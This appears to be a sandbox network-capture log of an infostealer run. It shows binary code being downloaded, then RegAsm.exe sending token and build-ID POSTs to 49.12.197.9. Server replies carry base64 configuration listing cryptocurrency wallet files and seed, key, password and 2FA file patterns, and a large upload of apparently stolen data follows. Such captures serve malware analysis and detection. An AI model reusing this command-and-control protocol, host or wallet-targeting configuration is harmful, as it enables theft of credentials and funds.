hRQ=fti1DHt0hV[ydEOHDDPRQhD$`PCG9rD$`H;L$XL$`L$T)%D$L$DT$PQp h,RD$dKD$Tt!L$`\|$\tD$euL$PhD$TD$
2024-10-02 15:16:53 UTC	16384	IN	Data Raw: 77 40 a1 08 11 1e 10 40 a3 08 11 1e 10 3b 05 30 11 1e 10 77 26 8b 35 38 11 1e 10 85 f6 74 15 8b 0d 78 e0 1d 10 81 f9 80 c2 12 10 75 7b 56 ff 15 68 cc 1d 10 89 f8 5e 5f 5b 5d c3 a3 30 11 1e 10 eb d3 a3 0c 11 1e 10 eb b9 89 3d 20 11 1e 10 e9 54 ff ff ff 31 ff eb dc 8b 0d 40 e0 1d 10 ff 15 00 40 1e 10 57 ff d1 83 c4 04 eb ca ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 0b ff ff ff 89 f7 c1 ff 1f 29 f1 19 f8 31 d2 39 0d e4 10 1e 10 19 c2 7d 27 c7 05 50 11 1e 10 00 00 00 00 e9 20 ff ff ff 31 ff e9 6d ff ff ff ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 7b ff ff ff c7 05 50 11 1e 10 01 00 00 00 8b 1d 38 11 1e 10 85 db 74 2e 8b 0d 78 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 8b 1d 38 11 1e 10 85 db 74 12 8b 0d 70 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 a1 4c 11 1e Data Ascii: w@@;0w&58txu{Vh^_[]0= T1@@W@V)19}'P 1m@V{P8t.x@S8tp@SL
2024-10-02 15:16:53 UTC	16384	IN	Data Raw: ff ff 8b 44 24 08 8a 40 12 e9 fc fc ff ff 8b 44 24 08 8b 70 44 8b 06 85 c0 0f 84 81 fd ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 67 fd ff ff 8b 44 24 08 8b 70 40 8b 06 85 c0 74 2d 8b 4c 24 08 80 79 0d 00 75 11 8b 48 20 ff 15 00 40 1e 10 6a 01 56 ff d1 83 c4 08 8b 44 24 08 80 78 12 05 74 08 8b 44 24 08 c6 40 12 01 8b 4c 24 08 8a 41 0c 88 41 13 e9 13 fe ff ff 8b 44 24 08 8b 30 8b 4e 1c 85 c9 0f 84 88 fa ff ff 8b 44 24 08 8b b8 ec 00 00 00 ff 15 00 40 1e 10 6a 00 57 56 ff d1 83 c4 0c 89 44 24 0c e9 72 f6 ff ff 8b 4c 24 08 89 81 a0 00 00 00 e9 f7 f9 ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 26 fa ff ff 31 f6 46 e9 d2 fc ff ff 31 db f6 44 24 1c 01 0f 84 40 fe ff ff 68 40 7e 1c 10 68 83 e4 00 00 68 14 Data Ascii: D$@D$pDH@VgD$p@t-L$yuH @jVD$xtD$@L$AAD$0ND$@jWVD$rL$H@V&1F1D$@h@~hh
2024-10-02 15:16:54 UTC	16384	IN	Data Raw: 24 18 89 d8 25 ff ff ff 7f 89 44 24 1c 85 f6 7e 6f 8b 7d 0c 89 54 24 04 8b 0d 30 e4 1d 10 8b 45 08 8b 40 08 89 04 24 ff 15 00 40 1e 10 8d 44 24 10 50 8d 44 24 10 50 56 57 ff 74 24 10 ff d1 85 c0 0f 84 92 00 00 00 8b 44 24 0c 85 c0 8b 54 24 04 74 42 29 c6 72 3e 01 c2 83 d3 00 89 54 24 18 89 d9 81 e1 ff ff ff 7f 89 4c 24 1c 01 c7 85 f6 7f a2 8b 44 24 24 85 c0 0f 85 92 00 00 00 31 ff 8b 4c 24 28 31 e9 e8 9d 64 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 8b 0d 8c e2 1d 10 ff 15 00 40 1e 10 ff d1 89 c2 8b 45 08 89 50 14 83 fa 70 74 05 83 fa 27 75 3f bf 0d 00 00 00 b9 0d 00 00 00 68 ee b2 00 00 8b 45 08 ff 70 1c 68 65 8a 1c 10 e8 c4 1e 14 00 83 c4 0c eb a7 8d 4c 24 24 8d 54 24 08 e8 12 20 14 00 85 c0 0f 85 2a ff ff ff 8b 54 24 08 eb b1 bf 0a 03 00 00 b9 0a 03 00 00 68 Data Ascii: $%D$~o}T$0E@$@D$PD$PVWt$D$T$tB)r>T$L$D$$1L$(1de^_[]@EPpt'u?hEpheL$$T$ *T$h
2024-10-02 15:16:54 UTC	16384	IN	Data Raw: 46 64 8b 0c 38 e8 8e f3 ff ff 43 83 c7 30 3b 5e 68 7c ec 8b 44 24 0c 89 46 68 83 7c 24 04 01 75 72 8b 56 64 8d 1c 40 c1 e3 04 83 7c 1a 1c 00 74 4b 8b 4e 48 8b 01 85 c0 74 42 3d 58 00 1a 10 75 34 8b 86 a8 00 00 00 8b be ac 00 00 00 83 c0 04 83 d7 00 89 74 24 04 89 d6 8b 54 1a 18 0f af fa f7 e2 01 fa 52 50 51 e8 8c 45 12 00 89 f2 8b 74 24 10 83 c4 0c 8b 44 1a 18 89 46 38 31 ff 8b 4c 24 30 31 e9 e8 9f 24 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 89 74 24 04 8b 86 e8 00 00 00 89 44 24 08 85 c0 0f 84 88 01 00 00 83 7c 24 0c 00 0f 84 ac 00 00 00 8b 44 24 04 8b 70 64 85 f6 0f 84 9d 00 00 00 8b 44 24 0c 48 8d 3c 40 c1 e7 04 8b 44 3e 14 89 44 24 0c b9 00 02 00 00 31 d2 e8 56 3e ff ff 89 44 24 18 85 c0 0f 84 ce 02 00 00 8d 04 3e 89 44 24 14 8d 04 3e 83 c0 14 89 44 24 08 Data Ascii: Fd8C0;^h\|D$Fh\|$urVd@\|tKNHtB=Xu4t$TRPQEt$DF81L$01$e^_[]t$D$\|$D$pdD$H<@D>D$1V>D$>D$>D$
2024-10-02 15:16:54 UTC	16384	IN	Data Raw: e9 e7 00 00 00 8b 99 4c 01 00 00 85 db 0f 85 82 00 00 00 8b 99 48 01 00 00 85 db 75 6b 8b 99 44 01 00 00 85 db 75 7b ff 81 40 01 00 00 8a 5d f3 88 d8 50 e8 d0 ca 11 00 83 c4 04 89 c3 85 c0 0f 84 a7 00 00 00 57 ff 75 e4 53 e8 0f 1c 18 00 83 c4 0c c6 04 3b 00 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c 89 18 0f b6 0b 80 b9 7a f8 19 10 00 78 4a 8b 4d e8 80 b9 d0 00 00 00 02 0f 83 83 00 00 00 83 c4 10 5e 5f 5b 5d c3 8b 03 89 81 48 01 00 00 e9 50 ff ff ff 8b 03 89 81 4c 01 00 00 e9 43 ff ff ff 8b 03 89 81 44 01 00 00 e9 36 ff ff ff ff 81 3c 01 00 00 e9 73 ff ff ff 80 f9 5b 0f b6 c9 ba 5d 00 00 00 0f 45 d1 89 55 ec 31 f6 46 89 df 8a 0c 33 3a 4d ec 74 06 88 0f 46 47 eb f2 8b 4d ec 38 4c 33 01 74 2d c6 07 00 eb 84 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c c7 00 00 00 00 00 e9 Data Ascii: LHukDu{@]PWuS;MzxJM^_[]HPLCD6<s[]EU1F3:MtFGM8L3t-M
2024-10-02 15:16:54 UTC	16384	IN	Data Raw: 89 59 18 e8 60 50 fe ff 31 c0 39 46 24 0f 84 b8 f6 ff ff 8b 57 10 85 d2 74 09 8b 4c 24 20 e8 75 c2 ff ff 8b 7c 24 0c c7 47 10 00 00 00 00 e9 98 f6 ff ff 8b 06 89 81 44 01 00 00 e9 e3 f9 ff ff ff 81 3c 01 00 00 e9 80 fc ff ff 8b 44 24 14 80 b8 d0 00 00 00 00 0f 85 f3 fb ff ff 8b 44 24 20 8b 40 10 8b 4c 38 0c 83 79 48 00 0f 85 de fb ff ff ff 34 38 68 b4 e0 1c 10 ff 74 24 1c e8 06 09 00 00 83 c4 0c e9 c5 fb ff ff 8b 4c 24 1c e9 ae fd ff ff 8a 80 08 f7 19 10 3a 83 08 f7 19 10 0f 84 02 fa ff ff e9 c9 f9 ff ff 8b 44 24 20 80 b8 b1 00 00 00 00 0f 84 47 04 00 00 68 48 01 1d 10 ff 74 24 18 e8 5f 2a 01 00 83 c4 08 e9 33 f7 ff ff 8b 44 24 0c 80 48 1e 01 66 83 78 22 00 0f 8e a5 f5 ff ff 31 c9 b8 0e 00 00 00 8b 54 24 0c 8b 52 04 8b 74 02 f6 89 f7 c1 ef 04 83 e7 0f 83 Data Ascii: Y`P19F$WtL$ u\|$GD<D$D$ @L8yH48ht$L$:D$ GhHt$_*3D$Hfx"1T$Rt
2024-10-02 15:16:54 UTC	16384	IN	Data Raw: 00 00 00 85 c0 0f 85 34 f9 ff ff e9 a7 e8 ff ff c7 44 24 24 00 00 00 00 e9 0b f1 ff ff 8b 44 24 0c 8b 40 10 8b 40 1c 8b 4c 24 08 3b 41 3c 0f 84 95 ea ff ff 8b 7c 24 08 ff 37 68 27 f8 1c 10 ff 74 24 0c e8 e0 ea 00 00 83 c4 0c c7 44 24 24 00 00 00 00 e9 a2 f0 ff ff 68 48 e4 1b 10 8b 7c 24 08 57 e8 c1 ea 00 00 83 c4 08 be 0b 00 00 00 68 40 7e 1c 10 68 14 ce 01 00 68 40 bb 1b 10 68 78 fc 1b 10 56 e8 8f 4f 01 00 83 c4 14 89 77 0c c7 44 24 1c 00 00 00 00 e9 83 f8 ff ff 66 ba 1e 00 31 c0 85 c9 0f 85 54 f1 ff ff 31 d2 e9 5b f1 ff ff 31 ff 66 ba 28 00 be ff 0f 00 00 89 cb 31 c0 83 c2 28 89 f9 0f a4 d9 1c c1 e8 04 39 de bb 00 00 00 00 19 fb 89 cb 89 c7 0f 83 f2 f0 ff ff eb df a9 fd ff ff ff 74 65 31 f6 46 b8 ec bb 1b 10 e9 c1 fd ff ff 31 c0 e9 85 f2 ff ff c7 44 24 Data Ascii: 4D$$D$@@L$;A<\|$7h't$D$$hH\|$Wh@~hh@hxVOwD$f1T1[1f(1(9te1F1D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	65250	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:16:56 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBFCAFCBKFIEBFHIDBA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 1025 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:16:56 UTC	1025	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 36 34 61 32 37 36 61 39 34 64 36 38 33 65 34 37 39 61 61 34 66 37 32 61 34 65 36 35 37 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 41 0d 0a 43 6f 6e 74 Data Ascii: ------KFBFCAFCBKFIEBFHIDBAContent-Disposition: form-data; name="token"b064a276a94d683e479aa4f72a4e657f------KFBFCAFCBKFIEBFHIDBAContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------KFBFCAFCBKFIEBFHIDBACont
2024-10-02 15:16:57 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:16:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:16:57 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	65255	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:16:58 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAFHIDGIJKJKECBGDBG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:16:58 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 36 34 61 32 37 36 61 39 34 64 36 38 33 65 34 37 39 61 61 34 66 37 32 61 34 65 36 35 37 66 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 0d 0a 43 6f 6e 74 Data Ascii: ------HDAFHIDGIJKJKECBGDBGContent-Disposition: form-data; name="token"b064a276a94d683e479aa4f72a4e657f------HDAFHIDGIJKJKECBGDBGContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------HDAFHIDGIJKJKECBGDBGCont
2024-10-02 15:16:58 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:16:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:16:58 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	65257	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:16:59 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAAKEBGDAFHIIDHIIECF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:16:59 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 36 34 61 32 37 36 61 39 34 64 36 38 33 65 34 37 39 61 61 34 66 37 32 61 34 65 36 35 37 66 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 Data Ascii: ------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="token"b064a276a94d683e479aa4f72a4e657f------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------AAAKEBGDAFHIIDHIIECFCont
2024-10-02 15:17:00 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:17:00 UTC	1524	IN	Data Raw: 35 65 38 0d 0a 52 6d 78 68 63 32 68 38 4a 55 52 53 53 56 5a 46 58 31 4a 46 54 55 39 57 51 55 4a 4d 52 53 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 Data Ascii: 5e8Rmxhc2h8JURSSVZFX1JFTU9WQUJMRSVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	65258	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:01 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJDHDBKEBGHJJJJKEHD User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 461 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:17:01 UTC	461	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 48 44 42 4b 45 42 47 48 4a 4a 4a 4a 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 36 34 61 32 37 36 61 39 34 64 36 38 33 65 34 37 39 61 61 34 66 37 32 61 34 65 36 35 37 66 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 48 44 42 4b 45 42 47 48 4a 4a 4a 4a 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 48 44 42 4b 45 42 47 48 4a 4a 4a 4a 4b 45 48 44 0d 0a 43 6f 6e 74 Data Ascii: ------JKJDHDBKEBGHJJJJKEHDContent-Disposition: form-data; name="token"b064a276a94d683e479aa4f72a4e657f------JKJDHDBKEBGHJJJJKEHDContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------JKJDHDBKEBGHJJJJKEHDCont
2024-10-02 15:17:01 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 15:17:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 15:17:01 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	65261	49.12.197.9	443	5888	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 15:17:03 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJKJDAKEHJDGDGDGHID User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 114637 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 15:17:03 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 30 36 34 61 32 37 36 61 39 34 64 36 38 33 65 34 37 39 61 61 34 66 37 32 61 34 65 36 35 37 66 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4b 4a 44 41 4b 45 48 4a 44 47 44 47 44 47 48 49 44 0d 0a 43 6f 6e 74 Data Ascii: ------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="token"b064a276a94d683e479aa4f72a4e657f------GHJKJDAKEHJDGDGDGHIDContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------GHJKJDAKEHJDGDGDGHIDCont
2024-10-02 15:17:03 UTC	16355	OUT	Data Raw: 31 74 65 43 5a 4e 50 30 57 47 38 38 53 58 6c 31 41 62 69 31 52 6b 73 37 54 7a 52 35 6b 6b 68 47 4d 37 63 35 78 7a 6a 38 53 65 31 5a 74 33 62 66 61 6f 67 6d 37 62 67 35 7a 6a 4e 62 66 68 7a 34 63 66 38 4a 42 70 38 6c 31 2f 61 76 32 66 5a 4d 59 74 76 32 66 64 6e 41 42 7a 6e 63 50 57 76 6c 63 35 77 39 52 56 76 62 57 39 33 52 66 4d 39 7a 4b 57 35 50 6c 70 71 38 6c 72 2f 77 41 45 72 65 4e 70 64 50 31 75 33 73 66 45 64 70 64 51 43 35 75 55 45 64 35 61 65 61 50 4d 52 31 47 4e 32 33 4f 63 63 59 2f 49 39 36 31 66 43 6c 69 32 6f 66 44 32 57 4a 64 43 2f 74 6b 6a 56 53 33 32 66 37 58 39 6e 32 2f 75 6c 2b 66 64 33 78 6e 47 50 66 32 71 35 2f 77 70 76 2f 71 50 66 2b 53 66 2f 77 42 6e 58 61 65 45 76 44 51 38 4c 61 54 4a 59 69 36 4e 79 58 6d 4d 78 63 78 37 4f 6f 41 78 6a Data Ascii: 1teCZNP0WG88SXl1Abi1Rks7TzR5kkhGM7c5xzj8Se1Zt3bfaogm7bg5zjNbfhz4cf8JBp8l1/av2fZMYtv2fdnABzncPWvlc5w9RVvbW93RfM9zKW5Plpq8lr/wAEreNpdP1u3sfEdpdQC5uUEd5aeaPMR1GN23OccY/I961fCli2ofD2WJdC/tkjVS32f7X9n2/ul+fd3xnGPf2q5/wpv/qPf+Sf/wBnXaeEvDQ8LaTJYi6NyXmMxcx7OoAxj
2024-10-02 15:17:03 UTC	16355	OUT	Data Raw: 6d 6f 72 4d 77 63 6a 63 70 2b 66 35 64 70 47 4d 44 33 7a 52 68 30 53 53 44 54 35 4e 4f 53 35 4b 32 55 30 71 7a 54 77 67 44 45 6a 72 6e 42 36 65 35 2f 54 30 46 61 4d 4d 75 71 32 48 6b 69 7a 6e 74 35 45 68 47 79 4d 54 32 36 4d 36 70 7a 6c 46 6b 78 76 56 63 45 2f 64 59 59 79 63 59 72 69 6a 68 4d 56 48 57 57 74 75 6c 2f 36 36 73 39 53 72 6d 47 42 6e 4c 33 46 79 33 36 32 39 4e 50 75 52 52 58 56 44 63 32 46 78 42 70 38 6c 6e 4a 39 67 45 34 76 59 37 69 46 66 50 6c 43 4f 63 54 78 53 59 50 79 37 64 75 56 44 4c 6a 42 34 49 4a 4e 58 39 5a 58 55 64 4e 30 61 53 53 62 52 37 71 31 58 54 52 41 5a 62 79 57 33 5a 46 6e 45 77 2b 66 35 69 4d 4e 73 59 6f 76 35 31 52 68 74 74 51 6a 73 7a 62 51 74 61 57 63 4f 4e 71 72 46 62 71 7a 71 6d 37 64 73 38 78 67 30 6a 4a 6b 44 35 57 59 Data Ascii: morMwcjcp+f5dpGMD3zRh0SSDT5NOS5K2U0qzTwgDEjrnB6e5/T0FaMMuq2Hkiznt5EhGyMT26M6pzlFkxvVcE/dYYycYrijhMVHWWtul/66s9SrmGBnL3Fy3629NPuRRXVDc2FxBp8lnJ9gE4vY7iFfPlCOcTxSYPy7duVDLjB4IJNX9ZXUdN0aSSbR7q1XTRAZbyW3ZFnEw+f5iMNsYov51RhttQjszbQtaWcONqrFbqzqm7ds8xg0jJkD5WY
2024-10-02 15:17:03 UTC	16355	OUT	Data Raw: 55 55 44 45 6f 70 61 53 67 41 70 44 53 30 55 44 51 6c 46 46 46 4d 59 55 6c 4c 51 61 51 43 55 68 70 61 4b 41 45 6f 6f 6f 70 67 46 46 48 61 6b 70 6a 43 69 69 69 67 42 4b 4b 4b 4b 59 41 61 53 69 69 67 59 55 55 55 55 41 4a 52 53 30 6c 41 42 52 52 51 61 42 68 52 53 43 67 30 77 43 69 69 69 67 41 70 4b 57 6b 4e 41 77 6f 6f 6f 6f 41 4b 53 69 67 30 77 43 69 69 69 6d 4d 53 69 67 30 55 41 46 46 4a 53 30 44 43 69 6b 70 61 41 43 6b 6f 6f 70 67 4c 52 6d 6b 70 4b 41 4a 49 6a 2b 39 54 2f 65 48 38 36 33 37 77 2f 36 5a 4c 39 61 35 39 50 39 59 76 38 41 76 43 74 2b 38 2f 34 2b 35 50 72 2f 41 45 72 6e 71 2f 47 68 4c 34 69 47 69 6b 70 44 55 6d 67 74 46 4a 52 54 4b 41 30 74 4a 52 6d 67 51 74 4a 52 52 51 4d 4b 4b 4b 4b 59 43 35 6f 7a 7a 54 61 58 33 70 42 59 64 6e 31 46 47 51 61 Data Ascii: 